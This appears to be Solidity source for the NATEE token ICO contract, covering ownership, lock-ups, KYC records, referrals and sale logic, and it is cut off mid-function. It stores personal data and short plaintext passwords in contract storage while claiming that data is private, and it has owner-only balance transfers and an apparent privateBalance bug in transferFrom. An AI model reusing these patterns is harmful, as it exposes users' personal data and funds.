// Different from OnlyOwner which is the only owner of the smart contract who has right/permission to call
// the specific function. Aside from OnlyOwner,
// OnlyOwners can also be used which any of Owners can call the particular function.
contract Ownable {
// A list of owners which will be saved as a list here,
// and the values are the owner’s names.
// This to allow investors / NATEE Token buyers to trace/monitor
// who executes which functions written in this NATEE smart contract string [] ownerName;
string [] ownerName;
mapping (address=>bool) owners;
mapping (address=>uint256) ownerToProfile;
address owner;
// all events will be saved as log files
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event AddOwner(address newOwner,string name);
event RemoveOwner(address owner);
/**
* @dev Ownable constructor , initializes sender’s account and
* set as owner according to default value according to contract
*
*/
// this function will be executed during initial load and will keep the smart contract creator (msg.sender) as Owner
// and also saved in Owners. This smart contract creator/owner is
// Mr. Samret Wajanasathian CTO of Seitee Pte Ltd (https://seitee.com.sg , https://natee.io)
constructor() public {
owner = msg.sender;
owners[msg.sender] = true;
uint256 idx = ownerName.push("SAMRET WAJANASATHIAN");
ownerToProfile[msg.sender] = idx;
}
// function to check whether the given address is either Wallet address or Contract Address
function isContract(address _addr) internal view returns(bool){
uint256 length;
assembly{
length := extcodesize(_addr)
}
if(length > 0){
return true;
}
else {
return false;
}
}
// function to check if the executor is the owner? This to ensure that only the person
// who has right to execute/call the function has the permission to do so.
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
// This function has only one Owner. The ownership can be transferrable and only
// the current Owner will only be able to execute this function.
function transferOwnership(address newOwner,string newOwnerName) public onlyOwner{
require(isContract(newOwner) == false);
uint256 idx;
if(ownerToProfile[newOwner] == 0)
{
idx = ownerName.push(newOwnerName);
ownerToProfile[newOwner] = idx;
}
emit OwnershipTransferred(owner,newOwner);
owner = newOwner;
}
// Function to check if the person is listed in a group of Owners and determine
// if the person has the any permissions in this smart contract such as Exec permission.
modifier onlyOwners(){
require(owners[msg.sender] == true);
_;
}
// Function to add Owner into a list. The person who wanted to add a new owner into this list but be an existing
// member of the Owners list. The log will be saved and can be traced / monitor who’s called this function.
function addOwner(address newOwner,string newOwnerName) public onlyOwners{
require(owners[newOwner] == false);
require(newOwner != msg.sender);
if(ownerToProfile[newOwner] == 0)
{
uint256 idx = ownerName.push(newOwnerName);
ownerToProfile[newOwner] = idx;
}
owners[newOwner] = true;
emit AddOwner(newOwner,newOwnerName);
}
// Function to remove the Owner from the Owners list. The person who wanted to remove any owner from Owners
// List must be an existing member of the Owners List. The owner cannot evict himself from the Owners
// List by his own, this is to ensure that there is at least one Owner of this NATEE Smart Contract.
// This NATEE Smart Contract will become useless if there is no owner at all.
function removeOwner(address _owner) public onlyOwners{
require(_owner != msg.sender); // can't remove your self
owners[_owner] = false;
emit RemoveOwner(_owner);
}
// this function is to check of the given address is allowed to call/execute the particular function
// return true if the given address has right to execute the function.
// for transparency purpose, anyone can use this to trace/monitor the behaviors of this NATEE smart contract.
function isOwner(address _owner) public view returns(bool){
return owners[_owner];
}
// Function to check who’s executed the functions of smart contract. This returns the name of
// Owner and this give transparency of whose actions on this NATEE Smart Contract.
function getOwnerName(address ownerAddr) public view returns(string){
require(ownerToProfile[ownerAddr] > 0);
return ownerName[ownerToProfile[ownerAddr] - 1];
}
}
// ContractToken is for managing transactions of wallet address or contract address with its own
// criterias and conditions such as settlement.
contract ControlToken is Ownable{
mapping (address => bool) lockAddr;
address[] lockAddrList;
uint32 unlockDate;
bool disableBlock;
bool call2YLock;
mapping(address => bool) allowControl;
address[] exchangeAddress;
uint32 exchangeTimeOut;
event Call2YLock(address caller);
// Initially the lockin period is set for 100 years starting from the date of Smart Contract Deployment.
// The company will have to adjust it to 2 years for lockin period starting from the first day that
// NATEE token listed in exchange (in any exchange).
constructor() public{
unlockDate = uint32(now) + 36500 days; // Start Lock 100 Year first
}
// function to set Wallet Address that belong to Exclusive Exchange.
// The lockin period for this setting has its minimum of 6 months.
function setExchangeAddr(address _addr) onlyOwners public{
uint256 numEx = exchangeAddress.push(_addr);
if(numEx == 1){
exchangeTimeOut = uint32(now + 180 days);
}
}
// Function to adjust lockin period of Exclusive Exchange,
// this could unlock the lockin period and allow freedom trade.
function setExchangeTimeOut(uint32 timStemp) onlyOwners public{
exchangeTimeOut = timStemp;
}
// This function is used to set duration from 100 years to 2 years, start counting from the date that execute this function.
// To prevent early execution and to ensure that only the legitimate Owner can execute this function,
// Seitee Pte Ltd has logged all activities from this function which open for public for transparency.
// The generated log will be publicly published on ERC20 network, anyone can check/trace from the log
// that this function will never been called if there no confirmed Exchange that accepts NATEE Token.
// Any NATEE token holders who still serving lockin period, can ensure that there will be no repeatedly
// execution for this function (the repeatedly execution could lead to lockin period extension to more than 2 years).
// The constraint “call2YLock” is initialized as boolean “False” when the NATEE Smart Contract is created and will only
// be set to “true” when this function is executed. One the value changed from false > true, it will preserve the value forever.
function start2YearLock() onlyOwners public{
if(call2YLock == false){
unlockDate = uint32(now) + 730 days;
call2YLock = true;
emit Call2YLock(msg.sender);
}
}
function lockAddress(address _addr) internal{
if(lockAddr[_addr] == false)
{
lockAddr[_addr] = true;
lockAddrList.push(_addr);
}
}
function isLockAddr(address _addr) public view returns(bool){
return lockAddr[_addr];
}
// this internal function is used to add address into the locked address list.
function addLockAddress(address _addr) onlyOwners public{
if(lockAddr[_addr] == false)
{
lockAddr[_addr] = true;
lockAddrList.push(_addr);
}
}
// Function to unlock the token for all addresses. This function is open as public modifier
// stated to allow anyone to execute it. This to prevent the doubtful of delay of unlocking
// or any circumstances that prolong the unlocking. This just simply means, anyone can unlock
// the address for anyone in this Smart Contract.
function unlockAllAddress() public{
if(uint32(now) >= unlockDate)
{
for(uint256 i=0;i<lockAddrList.length;i++)
{
lockAddr[lockAddrList[i]] = false;
}
}
}
// The followings are the controls for Token Transfer, the Controls are managed by Seitee Pte Ltd
//========================= ADDRESS CONTROL =======================
// This internal function is to indicate that the Wallet Address has been allowed and let Seitee Pte Ltd
// to do transactions. The initial value is closed which means, Seitee Pte Lte cannot do any transactions.
function setAllowControl(address _addr) internal{
if(allowControl[_addr] == false)
allowControl[_addr] = true;
}
// this function is to check whether the given Wallet Address can be managed/controlled by Seitee Pte Ltd.
// If return “true” means, Seitee Pte Ltd take controls of this Wallet Address.
function checkAllowControl(address _addr) public view returns(bool){
return allowControl[_addr];
}
// NATEE Token system prevents the transfer of token to non-verified Wallet Address
// (the Wallet Address that hasn’t been verified thru KYC). This can also means that
// Token wont be transferable to other Wallet Address that not saved in this Smart Contract.
// This function is created for everyone to unlock the Wallet Address, once the Wallet Address is unlocked,
// the Wallet Address can’t be set to lock again. Our Smart Contract doesn’t have any line that
// contains “disableBlock = false”. The condition is when there is a new exchange in the system and
// fulfill the 6 months lockin period or less (depends on the value set).
function setDisableLock() public{
if(uint256(now) >= exchangeTimeOut && exchangeAddress.length > 0)
{
if(disableBlock == false)
disableBlock = true;
}
}
}
// NATEE token smart contract stored KYC Data on Blockchain for transparency.
// Only Seitee Pte Ltd has the access to this KYC data. The authorities/Government
// Agencies can be given the access to view this KYC data, too (subject to approval).
// Please note, this is not open publicly.
contract KYC is ControlToken{
struct KYCData{
bytes8 birthday; // yymmdd
bytes16 phoneNumber;
uint16 documentType; // 2 byte;
uint32 createTime; // 4 byte;
// --- 32 byte
bytes32 peronalID; // Passport หรือ idcard
// --- 32 byte
bytes32 name;
bytes32 surName;
bytes32 email;
bytes8 password;
}
KYCData[] internal kycDatas;
mapping (uint256=>address) kycDataForOwners;
mapping (address=>uint256) OwnerToKycData;
mapping (uint256=>address) internal kycSOSToOwner; //keccak256 for SOS function
event ChangePassword(address indexed owner_,uint256 kycIdx_);
event CreateKYCData(address indexed owner_, uint256 kycIdx_);
// Individual KYC data the parameter is index of the KYC data. Only Seitee Pte Ltd can view this data.
function getKYCData(uint256 _idx) onlyOwners view public returns(bytes16 phoneNumber_,
bytes8 birthday_,
uint16 documentType_,
bytes32 peronalID_,
bytes32 name_,
bytes32 surname_,
bytes32 email_){
require(_idx <= kycDatas.length && _idx > 0,"ERROR GetKYCData 01");
KYCData memory _kyc;
uint256 kycKey = _idx - 1;
_kyc = kycDatas[kycKey];
phoneNumber_ = _kyc.phoneNumber;
birthday_ = _kyc.birthday;
documentType_ = _kyc.documentType;
peronalID_ = _kyc.peronalID;
name_ = _kyc.name;
surname_ = _kyc.surName;
email_ = _kyc.email;
}
// function to view KYC data from registered Wallet Address. Only Seitee Pte Ltd has right to view this data.
function getKYCDataByAddr(address _addr) onlyOwners view public returns(bytes16 phoneNumber_,
bytes8 birthday_,
uint16 documentType_,
bytes32 peronalID_,
bytes32 name_,
bytes32 surname_,
bytes32 email_){
require(OwnerToKycData[_addr] > 0,"ERROR GetKYCData 02");
KYCData memory _kyc;
uint256 kycKey = OwnerToKycData[_addr] - 1;
_kyc = kycDatas[kycKey];
phoneNumber_ = _kyc.phoneNumber;
birthday_ = _kyc.birthday;
documentType_ = _kyc.documentType;
peronalID_ = _kyc.peronalID;
name_ = _kyc.name;
surname_ = _kyc.surName;
email_ = _kyc.email;
}
// The Owner can view the history records from KYC processes.
function getKYCData() view public returns(bytes16 phoneNumber_,
bytes8 birthday_,
uint16 documentType_,
bytes32 peronalID_,
bytes32 name_,
bytes32 surname_,
bytes32 email_){
require(OwnerToKycData[msg.sender] > 0,"ERROR GetKYCData 03"); // if == 0 not have data;
uint256 id = OwnerToKycData[msg.sender] - 1;
KYCData memory _kyc;
_kyc = kycDatas[id];
phoneNumber_ = _kyc.phoneNumber;
birthday_ = _kyc.birthday;
documentType_ = _kyc.documentType;
peronalID_ = _kyc.peronalID;
name_ = _kyc.name;
surname_ = _kyc.surName;
email_ = _kyc.email;
}
// 6 chars password which the Owner can update the password by himself/herself. Only the Owner can execute this function.
function changePassword(bytes8 oldPass_, bytes8 newPass_) public returns(bool){
require(OwnerToKycData[msg.sender] > 0,"ERROR changePassword");
uint256 id = OwnerToKycData[msg.sender] - 1;
if(kycDatas[id].password == oldPass_)
{
kycDatas[id].password = newPass_;
emit ChangePassword(msg.sender, id);
}
else
{
assert(kycDatas[id].password == oldPass_);
}
return true;
}
// function to create record of KYC data
function createKYCData(bytes32 _name, bytes32 _surname, bytes32 _email,bytes8 _password, bytes8 _birthday,bytes16 _phone,uint16 _docType,bytes32 _peronalID,address _wallet) onlyOwners public returns(uint256){
uint256 id = kycDatas.push(KYCData(_birthday, _phone, _docType, uint32(now) ,_peronalID, _name, _surname, _email, _password));
uint256 sosHash = uint256(keccak256(abi.encodePacked(_name, _surname , _email, _password)));
OwnerToKycData[_wallet] = id;
kycDataForOwners[id] = _wallet;
kycSOSToOwner[sosHash] = _wallet;
emit CreateKYCData(_wallet,id);
return id;
}
function maxKYCData() public view returns(uint256){
return kycDatas.length;
}
function haveKYCData(address _addr) public view returns(bool){
if(OwnerToKycData[_addr] > 0) return true;
else return false;
}
}
// Standard ERC20 function, no overriding at the moment.
contract StandarERC20 is ERC20{
using SafeMath256 for uint256;
mapping (address => uint256) balance;
mapping (address => mapping (address=>uint256)) allowed;
uint256 public totalSupply_;
address[] public holders;
mapping (address => uint256) holderToId;
event Transfer(address indexed from,address indexed to,uint256 value);
event Approval(address indexed owner,address indexed spender,uint256 value);
// Total number of Tokens
function totalSupply() public view returns (uint256){
return totalSupply_;
}
function balanceOf(address _walletAddress) public view returns (uint256){
return balance[_walletAddress];
}
// function to check on how many tokens set to be transfer between _owner and _spender. This is to check prior to confirm the transaction.
function allowance(address _owner, address _spender) public view returns (uint256){
return allowed[_owner][_spender];
}
// Standard function used to transfer the token according to ERC20 standard
function transfer(address _to, uint256 _value) public returns (bool){
require(_value <= balance[msg.sender]);
require(_to != address(0));
balance[msg.sender] = balance[msg.sender].sub(_value);
balance[_to] = balance[_to].add(_value);
emit Transfer(msg.sender,_to,_value);
return true;
}
// standard function to approve transfer of token
function approve(address _spender, uint256 _value)
public returns (bool){
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
// standard function to request the money used after the sender has initialize the
// transition of money transfer. Only the beneficiary able to execute this function
// and the amount of money has been set as transferable by the sender.
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool){
require(_value <= balance[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balance[_from] = balance[_from].sub(_value);
balance[_to] = balance[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
// additional function to store all NATEE Token holders as a list in blockchain.
// This could be use for bounty program in the future.
function addHolder(address _addr) internal{
if(holderToId[_addr] == 0)
{
uint256 idx = holders.push(_addr);
holderToId[_addr] = idx;
}
}
// function to request the top NATEE Token holders.
function getMaxHolders() external view returns(uint256){
return holders.length;
}
// function to read all indexes of NATEE Token holders.
function getHolder(uint256 idx) external view returns(address){
return holders[idx];
}
}
// Contract for co-founders and advisors which is total of 5,000,000 Tokens for co-founders
// and 4,000,000 tokens for advisors. Maximum NATEE token for advisor is 200,000 Tokens and
// the deficit from 4,000,000 tokens allocated to advisors, will be transferred to co-founders.
contract FounderAdvisor is StandarERC20,Ownable,KYC {
uint256 FOUNDER_SUPPLY = 5000000 ether;
uint256 ADVISOR_SUPPLY = 4000000 ether;
address[] advisors;
address[] founders;
mapping (address => uint256) advisorToID;
mapping (address => uint256) founderToID;
// will have true if already redeem.
// Advisor and founder can't be same people
bool public closeICO;
// Will have this value after close ICO
uint256 public TOKEN_PER_FOUNDER = 0 ether;
uint256 public TOKEN_PER_ADVISOR = 0 ether;
event AddFounder(address indexed newFounder,string nane,uint256 curFoounder);
event AddAdvisor(address indexed newAdvisor,string name,uint256 curAdvisor);
event CloseICO();
event RedeemAdvisor(address indexed addr_, uint256 value);
event RedeemFounder(address indexed addr_, uint256 value);
event ChangeAdvisorAddr(address indexed oldAddr_, address indexed newAddr_);
event ChangeFounderAddr(address indexed oldAddr_, address indexed newAddr_);
// function to add founders, name and surname will be logged. This
// function will be disabled after ICO closed.
function addFounder(address newAddr, string _name) onlyOwners external returns (bool){
require(closeICO == false);
require(founderToID[newAddr] == 0);
uint256 idx = founders.push(newAddr);
founderToID[newAddr] = idx;
emit AddFounder(newAddr, _name, idx);
return true;
}
// function to add advisors. This function will be disabled after ICO closed.
function addAdvisor(address newAdvis, string _name) onlyOwners external returns (bool){
require(closeICO == false);
require(advisorToID[newAdvis] == 0);
uint256 idx = advisors.push(newAdvis);
advisorToID[newAdvis] = idx;
emit AddAdvisor(newAdvis, _name, idx);
return true;
}
// function to update Advisor’s Wallet Address. If there is a need to remove the advisor,
// just input address = 0. This function will be disabled after ICO closed.
function changeAdvisorAddr(address oldAddr, address newAddr) onlyOwners external returns(bool){
require(closeICO == false);
require(advisorToID[oldAddr] > 0); // it should be true if already have advisor
uint256 idx = advisorToID[oldAddr];
advisorToID[newAddr] = idx;
advisorToID[oldAddr] = 0;
advisors[idx - 1] = newAddr;
emit ChangeAdvisorAddr(oldAddr,newAddr);
return true;
}
// function to update founder’s Wallet Address. To remove the founder,
// pass the value of address = 0. This function will be disabled after ICO closed.
function changeFounderAddr(address oldAddr, address newAddr) onlyOwners external returns(bool){
require(closeICO == false);
require(founderToID[oldAddr] > 0);
uint256 idx = founderToID[oldAddr];
founderToID[newAddr] = idx;
founderToID[oldAddr] = 0;
founders[idx - 1] = newAddr;
emit ChangeFounderAddr(oldAddr, newAddr);
return true;
}
function isAdvisor(address addr) public view returns(bool){
if(advisorToID[addr] > 0) return true;
else return false;
}
function isFounder(address addr) public view returns(bool){
if(founderToID[addr] > 0) return true;
else return false;
}
}
// Contract MyToken is created for extra permission to make a transfer of token. Typically,
// NATEE Token will be held and will only be able to transferred to those who has successfully
// done the KYC. For those who holds NATEE PRIVATE TOKEN at least 8,000,000 tokens is able to
// transfer the token to anyone with no limit.
contract MyToken is FounderAdvisor {
using SafeMath256 for uint256;
mapping(address => uint256) privateBalance;
event SOSTranfer(address indexed oldAddr_, address indexed newAddr_);
// standard function according to ERC20, modified by adding the condition of lockin period (2 years)
// for founders and advisors. Including the check whether the address has been KYC verified and is
// NATEE PRIVATE TOKEN holder will be able to freedomly trade the token.
function transfer(address _to, uint256 _value) public returns (bool){
if(lockAddr[msg.sender] == true) // 2 Year lock can Transfer only Lock Address
{
require(lockAddr[_to] == true);
}
// if total number of NATEE PRIVATE TOKEN is less than amount that wish to transfer
if(privateBalance[msg.sender] < _value){
if(disableBlock == false)
{
require(OwnerToKycData[msg.sender] > 0,"You Not have permission to Send");
require(OwnerToKycData[_to] > 0,"You not have permission to Recieve");
}
}
addHolder(_to);
if(super.transfer(_to, _value) == true)
{
// check if the total balance of token is less than transferred amount
if(privateBalance[msg.sender] <= _value)
{
privateBalance[_to] += privateBalance[msg.sender];
privateBalance[msg.sender] = 0;
}
else
{
privateBalance[msg.sender] = privateBalance[msg.sender].sub(_value);
privateBalance[_to] = privateBalance[_to].add(_value);
}
return true;
}
return false;
}
// standard function ERC20, with additional criteria for 2 years lockin period for Founders and Advisors.
// Check if the owner of that Address has done the KYC successfully, if yes and having NATEE Private Token
// then, will be allowed to make the transfer.
function transferFrom(address _from, address _to, uint256 _value) public returns (bool){
require(lockAddr[_from] == false); //2 Year Lock Can't Transfer
if(privateBalance[_from] < _value)
{
if(disableBlock == false)
{
require(OwnerToKycData[msg.sender] > 0, "You Not Have permission to Send");
require(OwnerToKycData[_to] > 0,"You not have permission to recieve");
}
}
addHolder(_to);
if(super.transferFrom(_from, _to, _value) == true)
{
if(privateBalance[msg.sender] <= _value)
{
privateBalance[_to] += privateBalance[msg.sender];
privateBalance[msg.sender] = 0;
}
else
{
privateBalance[msg.sender] = privateBalance[msg.sender].sub(_value);
privateBalance[_to] = privateBalance[_to].add(_value);
}
return true;
}
return false;
}
// function to transfer all asset from the old wallet to new wallet. This is used, just in case, the owner forget the private key.
// The owner who which to update the wallet by calling this function must have successfully done KYC and the 6 alpha numeric password
// must be used and submit to Seitee Pte Ltd. The company will recover the old wallet address and transfer the assets to the new wallet
// address on behave of the owner of the wallet address.
function sosTransfer(bytes32 _name, bytes32 _surname, bytes32 _email,bytes8 _password,address _newAddr) onlyOwners public returns(bool){
uint256 sosHash = uint256(keccak256(abi.encodePacked(_name, _surname , _email, _password)));
address oldAddr = kycSOSToOwner[sosHash];
uint256 idx = OwnerToKycData[oldAddr];
require(allowControl[oldAddr] == false);
if(idx > 0)
{
idx = idx - 1;
if(kycDatas[idx].name == _name &&
kycDatas[idx].surName == _surname &&
kycDatas[idx].email == _email &&
kycDatas[idx].password == _password)
{
kycSOSToOwner[sosHash] = _newAddr;
OwnerToKycData[oldAddr] = 0; // reset it
OwnerToKycData[_newAddr] = idx;
kycDataForOwners[idx] = _newAddr;
emit SOSTranfer(oldAddr, _newAddr);
lockAddr[_newAddr] = lockAddr[oldAddr];
//Transfer All Token to new address
balance[_newAddr] = balance[oldAddr];
balance[oldAddr] = 0;
privateBalance[_newAddr] = privateBalance[oldAddr];
privateBalance[oldAddr] = 0;
emit Transfer(oldAddr, _newAddr, balance[_newAddr]);
}
}
return true;
}
// function for internal transfer between wallets that the controls have been given to
// the company (The owner can revoke these controls after ICO closed). Only the founders
// of Seitee Pte Ltd can execute this function. All activities will be publicly logged.
// The user can trace/view the log to check transparency if any founders of the company
// make the transfer of assets from your wallets. Again, Transparency is the key here.
function inTransfer(address _from, address _to,uint256 value) onlyOwners public{
require(allowControl[_from] == true); //default = false
require(balance[_from] >= value);
balance[_from] -= value;
balance[_to] = balance[_to].add(value);
if(privateBalance[_from] <= value)
{
privateBalance[_to] += privateBalance[_from];
privateBalance[_from] = 0;
}
else
{
privateBalance[_from] = privateBalance[_from].sub(value);
privateBalance[_to] = privateBalance[_to].add(value);
}
emit Transfer(_from,_to,value);
}
function balanceOfPrivate(address _walletAddress) public view returns (uint256){
return privateBalance[_walletAddress];
}
}
// Contract for NATEE PRIVATE TOKEN (1 NATEE PRIVATE TOKEN equivalent to 8 NATEE TOKEN)
contract NateePrivate {
function redeemToken(address _redeem, uint256 _value) external;
function getMaxHolder() view external returns(uint256);
function getAddressByID(uint256 _id) view external returns(address);
function balancePrivate(address _walletAddress) public view returns (uint256);
}
// The interface of SGDS (Singapore Dollar Stable)
contract SGDSInterface{
function balanceOf(address tokenOwner) public view returns (uint256 balance);
function intTransfer(address _from, address _to, uint256 _value) external;
function transferWallet(address _from,address _to) external;
function getUserControl(address _addr) external view returns(bool); // if true mean user can control by him. false mean Company can control
function useSGDS(address useAddr,uint256 value) external returns(bool);
function transfer(address _to, uint256 _value) public returns (bool);
}
// Interface of NATEE Warrant
contract NateeWarrantInterface {
function balanceOf(address tokenOwner) public view returns (uint256 balance);
function redeemWarrant(address _from, uint256 _value) external;
function getWarrantInfo() external view returns(string name_,string symbol_,uint256 supply_ );
function getUserControl(address _addr) external view returns(bool);
function sendWarrant(address _to,uint256 _value) external;
function expireDate() public pure returns (uint32);
}
// HAVE 5 Type of REFERRAL
// 1 Buy 8,000 NATEE Then can get referral code REDEEM AFTER REACH SOFTCAP
// 2 FIX RATE REDEEM AFTER REARCH SOFTCAP NO Buy
// 3 adjust RATE REDEEM AFTER REARCH SOFTCAP NO Buy
// 4 adjust RATE REDEEM IMMEDIATLY NO Buy
// 5 FIX RATE REDEEM IMMEDIATLY NO Buy
// Contract for marketing by using referral code from above 5 scenarios.
contract Marketing is MyToken{
struct REFERAL{
uint8 refType;
uint8 fixRate; // user for type 2 and 5
uint256 redeemCom; // summary commision that redeem
uint256 allCommission;
uint256 summaryInvest;
}
REFERAL[] referals;
mapping (address => uint256) referToID;
// Add address for referrer
function addReferal(address _address,uint8 referType,uint8 rate) onlyOwners public{
require(referToID[_address] == 0);
uint256 idx = referals.push(REFERAL(referType,rate,0,0,0));
referToID[_address] = idx;
}
// increase bounty/commission rate for those who has successfully registered the address with this smart contract
function addCommission(address _address,uint256 buyToken) internal{
uint256 idx;
if(referToID[_address] > 0)
{
idx = referToID[_address] - 1;
uint256 refType = uint256(referals[idx].refType);
uint256 fixRate = uint256(referals[idx].fixRate);
if(refType == 1 || refType == 3 || refType == 4){
referals[idx].summaryInvest += buyToken;
if(referals[idx].summaryInvest <= 80000){
referals[idx].allCommission = referals[idx].summaryInvest / 20 / 2; // 5%
}else if(referals[idx].summaryInvest >80000 && referals[idx].summaryInvest <=320000){
referals[idx].allCommission = 2000 + (referals[idx].summaryInvest / 10 / 2); // 10%
}else if(referals[idx].summaryInvest > 320000){
referals[idx].allCommission = 2000 + 12000 + (referals[idx].summaryInvest * 15 / 100 / 2); // 10%
}
}
else if(refType == 2 || refType == 5){
referals[idx].summaryInvest += buyToken;
referals[idx].allCommission = (referals[idx].summaryInvest * 100) * fixRate / 100 / 2;
}
}
}
function getReferByAddr(address _address) onlyOwners view public returns(uint8 refType,
uint8 fixRate,
uint256 commision,
uint256 allCommission,
uint256 summaryInvest){
REFERAL memory refer = referals[referToID[_address]-1];
refType = refer.refType;
fixRate = refer.fixRate;
commision = refer.redeemCom;
allCommission = refer.allCommission;
summaryInvest = refer.summaryInvest;
}
// check if the given address is listed in referral list
function checkHaveRefer(address _address) public view returns(bool){
return (referToID[_address] > 0);
}
// check the total commission on what you have earned so far, the unit is SGDS (Singapore Dollar Stable)
function getCommission(address addr) public view returns(uint256){
require(referToID[addr] > 0);
return referals[referToID[addr] - 1].allCommission;
}
}
// ICO Contract
// 1. Set allocated tokens for sales during pre-sales, prices the duration for pre-sales is 270 days
// 2. Set allocated tokens for sales during public-sales, prices and the duration for public-sales is 90 days.
// 3. The entire duration pre-sales / public sales is no more than 270 days (9 months).
// 4. If the ICO fails to reach Soft Cap, the investors can request for refund by using SGDS and the company will give back into ETH (the exchange rate and ETH price depends on the market)
// 5. There are 2 addresses which will get 1% of fund raised and 5% but not more then 200,000 SGDS . These two addresses helped us in shaping up Business Model and Smart Contract.
contract ICO_Token is Marketing{
uint256 PRE_ICO_ROUND = 20000000 ;
uint256 ICO_ROUND = 40000000 ;
uint256 TOKEN_PRICE = 50; // 0.5 SGDS PER TOKEN
bool startICO; //default = false;
bool icoPass;
bool hardCap;
bool public pauseICO;
uint32 public icoEndTime;
uint32 icoPauseTime;
uint32 icoStartTime;
uint256 totalSell;
uint256 MIN_PRE_ICO_ROUND = 400 ;
uint256 MIN_ICO_ROUND = 400 ;
uint256 MAX_ICO_ROUND = 1000000 ;
uint256 SOFT_CAP = 10000000 ;
uint256 _1Token = 1 ether;
SGDSInterface public sgds;
NateeWarrantInterface public warrant;
mapping (address => uint256) totalBuyICO;
mapping (address => uint256) redeemed;
mapping (address => uint256) redeemPercent;
mapping (address => uint256) redeemMax;
event StartICO(address indexed admin, uint32 startTime,uint32 endTime);
event PassSoftCap(uint32 passTime);
event BuyICO(address indexed addr_,uint256 value);
event BonusWarrant(address indexed,uint256 startRank,uint256 stopRank,uint256 warrantGot);
event RedeemCommision(address indexed, uint256 sgdsValue,uint256 curCom);
event Refund(address indexed,uint256 sgds,uint256 totalBuy);
constructor() public {
//sgds =
//warrant =
pauseICO = false;
icoEndTime = uint32(now + 365 days);
}
function pauseSellICO() onlyOwners external{
require(startICO == true);
require(pauseICO == false);
icoPauseTime = uint32(now);
pauseICO = true;
}
// NEW FUNCTION
function resumeSellICO() onlyOwners external{
require(pauseICO == true);
pauseICO = false;
// Add Time That PAUSE BUT NOT MORE THEN 2 YEAR
uint32 pauseTime = uint32(now) - icoPauseTime;
uint32 maxSellTime = icoStartTime + 730 days;
icoEndTime += pauseTime;
if(icoEndTime > maxSellTime) icoEndTime = maxSellTime;
pauseICO = false;
}
// Function to kicks start the ICO, Auto triggered as soon as the first
// NATEE TOKEN transfer committed.
function startSellICO() internal returns(bool){
require(startICO == false); // IF Start Already it can't call again
icoStartTime = uint32(now);
icoEndTime = uint32(now + 270 days); // ICO 9 month
startICO = true;
emit StartICO(msg.sender,icoStartTime,icoEndTime);
return true;
}
// this function will be executed automatically as soon as Soft Cap reached. By limited additional 90 days
// for public-sales in the total remain days is more than 90 days (the entire ICO takes no more than 270 days).
// For example, if the pre-sales takes 200 days, the public sales duration will be 70 days (270-200).
// Starting from the date that // Soft Cap reached
// if the pre-sales takes 150 days, the public sales duration will be 90 days starting from the date that
// Soft Cap reached
function passSoftCap() internal returns(bool){
icoPass = true;
// after pass softcap will continue sell 90 days
if(icoEndTime - uint32(now) > 90 days)
{
icoEndTime = uint32(now) + 90 days;
}
emit PassSoftCap(uint32(now));
}
// function to refund, this is used when fails to reach Soft CAP and the ICO takes more than 270 days.
// if Soft Cap reached, no refund
function refund() public{
require(icoPass == false);
uint32 maxSellTime = icoStartTime + 730 days;
if(pauseICO == true)
{
if(uint32(now) <= maxSellTime)
{
return;
}
}
if(uint32(now) >= icoEndTime)
{
if(totalBuyICO[msg.sender] > 0)
{
uint256 totalSGDS = totalBuyICO[msg.sender] * TOKEN_PRICE;
uint256 totalNatee = totalBuyICO[msg.sender] * _1Token;
require(totalNatee == balance[msg.sender]);
emit Refund(msg.sender,totalSGDS,totalBuyICO[msg.sender]);
totalBuyICO[msg.sender] = 0;
sgds.transfer(msg.sender,totalSGDS);
}
}
}
// This function is to allow the owner of Wallet Address to set the value (Boolean) to grant/not grant the permission to himself/herself.
// This clearly shows that no one else could set the value to the anyone’s Wallet Address, only msg.sender or the executor of this
// function can set the value in this function.
function userSetAllowControl(bool allow) public{
require(closeICO == true);
allowControl[msg.sender] = allow;
}
// function to calculate the bonus. The bonus will be paid in Warrant according to listed in Bounty section in NATEE Whitepaper
function bonusWarrant(address _addr,uint256 buyToken) internal{
// 1-4M GOT 50%
// 4,000,0001 - 12M GOT 40%
// 12,000,0001 - 20M GOT 30%
// 20,000,0001 - 30M GOT 20%
// 30,000,0001 - 40M GOT 10%
uint256 gotWarrant;
//======= PRE ICO ROUND =============
if(totalSell <= 4000000)
gotWarrant = buyToken / 2; // Got 50%
else if(totalSell >= 4000001 && totalSell <= 12000000)
{
if(totalSell - buyToken < 4000000) // It mean between pre bonus and this bonus
{
gotWarrant = (4000000 - (totalSell - buyToken)) / 2;
gotWarrant += (totalSell - 4000000) * 40 / 100;
}
else
{
gotWarrant = buyToken * 40 / 100;
}
}
else if(totalSell >= 12000001 && totalSell <= 20000000)
{
if(totalSell - buyToken < 4000000)
{
gotWarrant = (4000000 - (totalSell - buyToken)) / 2;
gotWarrant += 2400000; //8000000 * 40 / 100; fix got 2.4 M Token
gotWarrant += (totalSell - 12000000) * 30 / 100;
}
else if(totalSell - buyToken < 12000000 )
{
gotWarrant = (12000000 - (totalSell - buyToken)) * 40 / 100;
gotWarrant += (totalSell - 12000000) * 30 / 100;
}
else
{
gotWarrant = buyToken * 30 / 100;
}
}
else if(totalSell >= 20000001 && totalSell <= 30000000) // public ROUND
{
gotWarrant = buyToken / 5; // 20%
}
else if(totalSell >= 30000001 && totalSell <= 40000000)
{
if(totalSell - buyToken < 30000000)
{
gotWarrant = (30000000 - (totalSell - buyToken)) / 5;
gotWarrant += (totalSell - 30000000) / 10;
}
else
{
gotWarrant = buyToken / 10; // 10%
}
}
else if(totalSell >= 40000001)
{
if(totalSell - buyToken < 40000000)
{
gotWarrant = (40000000 - (totalSell - buyToken)) / 10;
}
else
gotWarrant = 0;
}
//====================================
if(gotWarrant > 0)
{
gotWarrant = gotWarrant * _1Token;
warrant.sendWarrant(_addr,gotWarrant);
emit BonusWarrant(_addr,totalSell - buyToken,totalSell,gotWarrant);
}
}
// NATEE Token can only be purchased by using SGDS
// function to purchase NATEE token, if the purchase transaction committed, the address will be controlled.
// The address wont be able to make any transfer
function buyNateeToken(address _addr, uint256 value,bool refer) onlyOwners external returns(bool){
require(closeICO == false);
require(pauseICO == false);
require(uint32(now) <= icoEndTime);
require(value % 2 == 0); //
if(startICO == false) startSellICO();
uint256 sgdWant;
